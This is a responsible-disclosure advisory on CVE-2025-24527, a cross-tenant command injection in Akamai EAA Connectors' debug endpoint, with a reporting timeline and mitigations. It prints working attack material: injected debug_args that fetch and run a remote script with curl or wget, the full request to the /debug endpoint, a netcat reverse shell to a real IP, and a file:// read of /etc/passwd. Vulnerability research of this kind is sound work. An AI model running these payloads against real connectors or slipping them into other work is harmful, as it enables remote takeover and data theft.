--- title: "CVE-2025-24527: Critical Vulnerability in Akamai EAA and Its Implications" tags: - security - vulnerability - zerotrust - akamai - cve - type/report --- > **Metadata / Tags:** `security` · `vulnerability` · `zerotrust` · `akamai` · `cve` · `type/report` ### Executive summary * **Discovery:** eSky Security Researcher [Marek Szustak](https://www.linkedin.com/in/marek-szustak-86837b2/) found a critical vulnerability in Akamai Enterprise Application Access (EAA), designated [CVE-2025-24527](https://nvd.nist.gov/vuln/detail/CVE-2025-24527). * **Impact:** This vulnerability enables remote command injection and potential privilege escalation to **root** on any EAA Connector deployed behind a customer’s firewall. An attacker with the `EAA Connector Admin` or `EAA Admin` role in _any_ Akamai Contract Account could exploit this issue _across all_ EAA Connectors globally, leading to a severe cross-tenant compromise. These roles are available to any administrator of their own Akamai tenant/account instance—potentially an organization's own employee—but because of the cross-tenant flaw, such an insider could target the Connectors of _any_ other Akamai customer. * **Risk:** If exploited, attackers could achieve full control over affected connectors, establish persistence, and move laterally within the customer’s network—mirroring the same risks posed by compromised VPNs, including malware or ransomware deployment and data exfiltration. * **Status:** We have developed and demonstrated multiple proof-of-concept exploits. While Akamai’s patch prevents cross-tenant attacks and the OS command injection (RCE) has been remediated, the Local File Inclusion (LFI) issue remains unresolved—any Connector with debug mode enabled is still vulnerable. * **Recommendation:** Organizations should disable debug functionality on Connectors unless it is actively required, thoroughly assess the risks of enabling it, implement strict segmentation, and monitor for unusual activity. --- ## Introduction In March 2020, eSky began evaluating Akamai Enterprise Application Access (EAA)—a Zero Trust Network Access solution—over a 60-day trial. During testing, we identified and reported a **command injection vulnerability** within the diagnostic features [link](https://techdocs.akamai.com/eaa/docs/trbl-conn#test-connector-connectivity-to-apps-with-troubleshooting-tools). At that time, we received an initial acknowledgment but no further updates after our access to EAA was disabled. In January 2025, we revisited EAA for a new use case. Collaborating with [WEBSEC](https://websec.eu/) as an Akamai partner, we discovered that although the **original PoC payload** used in 2020 had been blocked, the core vulnerability in the same request flow still permitted **OS Command Injection**. Most critically, we confirmed that this injection flaw could be exploited _across multiple tenants_, impacting not just our own environment but potentially **all** Akamai customers using EAA. --- ## What is Zero Trust Network Access? To understand why this vulnerability is especially dangerous, recall that Zero Trust Network Access (ZTNA) solutions, such as Akamai EAA, are designed to replace traditional VPNs. By limiting trust boundaries and segmenting network access, ZTNA aims to reduce lateral movement by attackers. However, if the ZTNA solution’s core connector is compromised, attackers can gain a foothold behind the firewall—effectively undermining Zero Trust principles. In Akamai [blueprint for building zero trust architecture](https://www.akamai.com/site/en/documents/white-paper/a-blueprint-for-building-a-zero-trust-architecture-white-paper.pdf) we find a useful list of principles for Zero Trust: ![The principles of Zero Trust](/advisories/images/zt_principles.png) The service is architecturally designed based on three major components: Data edge, Management edge and Enterprise edge ([documentation](https://techdocs.akamai.com/eaa/docs/welcome-eaa)): ![Akamai EAA architecture: Data edge, Management edge and Enterprise edge](/advisories/images/eaa_architecture.png) Akamai’s [blog post](https://www.akamai.com/blog/security/vpn-provider-suffers-from-zero-day-vulnerabilities) advises that due to VPN providers' susceptibility to Zero-Day vulnerabilities. Security [guidance](https://www.akamai.com/products/enterprise-application-access#accordion-46dcffedcf-item-18039d315c-button) highlights that a compromised VPN allows attackers to move laterally and deploy malware. Ironically, a compromised EAA Connector presents a similar threat. --- ## Vulnerability: 2020 PoC Our initial discovery stemmed from issues with our Identity Directory (an LDAP-based Active Directory). Attempting to troubleshoot network reachability, we used a cURL function in the EAA web console: ![Troubleshooting LDAP reachability using cURL in EAA console](/advisories/images/ldap_curl.png) While the test succeeded, it did not fully explain our LDAP issues. However, this cURL feature was compelling enough to warrant further exploration. We tested protocols beyond HTTP and LDAP, discovering that the pseudo-protocol `file://` allowed reading of arbitrary local files on the Connector, such as `/etc/passwd`: ![Arbitrary file read (/etc/passwd) using file:// pseudo-protocol](/advisories/images/lfi_passwd.png) After our initial disclosure, we learned that this cURL functionality could be manipulated to inject arbitrary commands. To illustrate, we used: ```json { "debug_args":"http://poc.szustak.pl/script --output /tmp/script \u000a /bin/sh /tmp/script \u000a", "debug_command_id":5 } ``` This payload was sent to the `debug` endpoint: ```jsx POST /crux/v1/mgmt-pop/agents/[uuid_url]/debug?contractId=[contractID]&gid=[gid] HTTP/1.1 Host: control.akamai.com Cookie: ... Content-Type: application/json;charset=utf-8 X-Xsrf-Token: ... Content-Length: 52 {"debug_args":"http://poc.szustak.pl/script --output /tmp/script \u000a /bin/sh /tmp/script \u000a","debug_command_id":5} ``` Our payload downloaded a bash script from a remote source and saved it to `/tmp/script`, then executed it via a newline character (`\u000a`). The script wrote a simple marker (`echo success > /tmp/success`), proving an attacker could run commands on the Connector. ![Execution verification file /tmp/success via cURL](/advisories/images/rce_success.png) Interestingly, the `/debug` endpoint was not documented in the official [EAA API reference](https://techdocs.akamai.com/eaa-api/reference/api-summary). --- ## Vulnerability: 2025 PoC By 2025, Akamai had partially mitigated the flaw. The `--output` option was disallowed in cURL, causing the `/debug` endpoint to return: ```json { "status": "error", "data": "Illegal options provided to execute debug command." } ``` That is why we tried another approach—using `wget`: ```json { "debug_args":"https://poc.szustak.pl -s \u000awget -q poc.szustak.pl/script -O /tmp/script\u000ash /tmp/script \u000a whoami \u000a#", "debug_command_id":5 } ``` Downloaded and executed script: ```bash #!/bin/sh echo 'hello-world rce!'; wget poc.szustak.pl/rce-success echo 'success rce' > /tmp/success; ``` Once again, we confirmed arbitrary commands could be executed: ![Arbitrary command execution in 2025 PoC](/advisories/images/poc2025_rce.png) ### Reverse shell Using this OS command injection, we demonstrated full Connector compromise, including a reverse shell using `nc`: ```bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 80.211.194.243 9999 > /tmp/f ``` Reverse shell: ![Reverse shell connection on Connector](/advisories/images/reverse_shell.png) Escalation to **root** was then straightforward: ![Privilege escalation to root user](/advisories/images/root_escalation.png) --- ## Cross tenant / cross contract exploitation On January 16, 2025, with explicit permission from our partner WEBSEC, we confirmed that an attacker with appropriate roles (but _without_ belonging to that specific Connector’s account) could issue a debug command to a Connector in a separate tenant. This was _not_ expected behavior under standard multi-tenant isolation. The successful HTTP response confirmed our hypothesis: EAA Connectors were vulnerable to **cross-tenant** exploitation. A successful execution looked: ```jsx POST /crux/v1/mgmt-pop/agents/{uuid}/debug?contractId={contract}&gid={gid} HTTP/1.1 Host: control.akamai.com Cookie: ... Content-Length: 61 X-Xsrf-Token: ... Content-Type: application/json;charset=UTF-8 {"debug_args":"poc.szustak.pl/?test","debug_command_id":5} ``` Which ended successfully - confirming that carrying out an attack is possible against Connectors of other Akamai clients. > [](/advisories/images/cross_tenant_log.png) --- ## Patch analysis & remaining vulnerabilities Akamai promptly released a patch focusing on the _cross-tenant attack vector_. By preventing debug commands from reaching connectors outside the user’s own contract, they addressed the most critical aspect of multi-tenant compromise. However, while the OS command injection (RCE) has since been remediated, the **Local File Inclusion (LFI)** flaw remains unaddressed: any Connector with debug mode enabled is still exposed, allowing authorized operators—or attackers who obtain such access—to read local files, certificates, and secrets. We subsequently reported that the debug interface could still be used to read local certificates, secrets, and sensitive scripts on the Connector. These issues were deemed **medium impact** and considered _out of scope_ for further patching by Akamai, but they can present substantial **insider threat** potential. --- ## Impact assessment The **CVE-2025-24527** vulnerability in Akamai Enterprise Application Access (EAA) poses a severe risk to organizations leveraging the platform. Successful exploitation allows an attacker with **EAA Connector Admin** or **EAA Admin** privileges on any Akamai Contract Account to execute arbitrary commands with **root** privileges on **all** EAA Connectors across different customer accounts. This results in **cross-tenant compromise**, effectively breaking tenant isolation within the Akamai ecosystem. ### Key Security Risks: * **Full System Compromise on EAA Connector Appliance** * **Lateral Movement & Network Compromise** * **Persistence & Privilege Escalation** * **Data Exfiltration & Compliance Risks** * **Cross-Tenant Exploitation** --- ## Severity Assessment The initial CVSS assessment rated the severity as Critical (`CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/CR:X/IR:X/AR:X`). However, Akamai Triage noted that cross-tenant code execution depends on the attacker knowing the victim's Connector ID and thus assessed it as High ([changelog note](https://techdocs.akamai.com/eaa/changelog/january-29-2025)). In practice, however, this barrier is weak. The Connector ID cannot be enumerated and must be obtained from an Akamai customer, but it is _not_ treated as confidential and Akamai does not communicate it as sensitive. As a result, Akamai customers routinely share these IDs publicly (e.g. on forums and in online discussions), making them realistically obtainable by an attacker. --- ## Recommendations Although **CVE-2025-24527** addresses cross-tenant code execution, the underlying cURL-based debug feature remains exploitable for command injection by any user or service with appropriate access. Akamai's documentation on the debug feature reveals potential risks: * [API Reference](https://techdocs.akamai.com/eaa-api/reference/get-app-connector) ```jsx debug_channel_permitted: boolean Allows Akamai Support to execute commands on the connector via the debug channel. ``` * [Enable Service Debug](https://techdocs.akamai.com/eaa/docs/enable-service-debug) ```jsx You can enable service and debug mode to allow Akamai support, professional services, or an Akamai representative to make any changes to application configurations, and remotely troubleshoot an issue. ``` After resolving the cross-tenant exploitation issue, I inquired Akamai about the measures taken to confirm if I was the only one who discovered this vulnerability and whether any threat actors had exploited the command injection vulnerability in the Connector VM to compromise customer infrastructure. I received no clear response on that. ### Key steps: 1. **Disable Debug Mode**: Turn off the debug/service channel (`debug_channel_permitted = false`) on all Connectors unless it is actively required for a supervised support session, and disable it again immediately afterwards. 2. **Evaluate Debug-Mode Necessity**: Conduct a thorough risk analysis to determine whether enabling debug functionality is essential. This feature grants significant power to specific roles (Akamai support, professional services, etc.). 3. **Implement Strict Network Segmentation**: Follow NIST guidelines for least privilege and need-to-know within any segment hosting the Akamai Connector. 4. **Continuous Monitoring**: Deploy IDS/IPS solutions to monitor Connector traffic for suspicious or anomalous activity. --- ## Reporting timeline ### 2020 Report | Date | Event | Notes | | --- | --- | --- | | 17 Mar 2020 | Researcher: Initial email report to Akamai Enterprise Sales Solutions Engineer on local file disclosure | | | 17 Mar 2020 | Researcher: Command injection vuln reported via email to Akamai Solution Engineers assisting EAA deployment | | | 17 Mar 2020 | Akamai: Confirmation of report submission to the Product Management Team at Akamai | | ### 2025 Report | Date | Event | Timeline | | --- | --- | --- | | 10 Jan 2025 | Researcher: report OS Command Injection vulnerability in Akamai's Bug Bounty program, specifically targeting the Enterprise Application Access Connector via Diagnostic Options. | Day 0 | | 13 Jan 2025 | Akamai Triage Team confirms investigation underway. | Day 3 | | 16 Jan 2025 | Researcher report update confirming Cross Tenant Exploitation | Day 6 | | 17 Jan 2025 | Akamai validates the issue. | Day 7 | | 20 Jan 2025 | Akamai informs issue was resolved. Question on confirmation. | Day 10 | | 20 Jan 2025 | Issue seems solved, cannot reproduce with demonstrated payload. Fix confirmed | Day 10 | | 21 Jan 2025 | Submission of Local File Disclosure and OS Command Injection Techniques as distinct reports | Day 11 | | 24 Jan 2025 | LFI & OS Command injection reports marked as out of scope | Day 14 | | 28 Jan 2025 | CVE-2025-24527 assigned. 1,500 USD bounty awarded | Day 18 | | 29 Jan 2025 | Severity updated from Critical to High | Day 19 | | 29 Jan 2025 | Akamai change note published | Day 19 |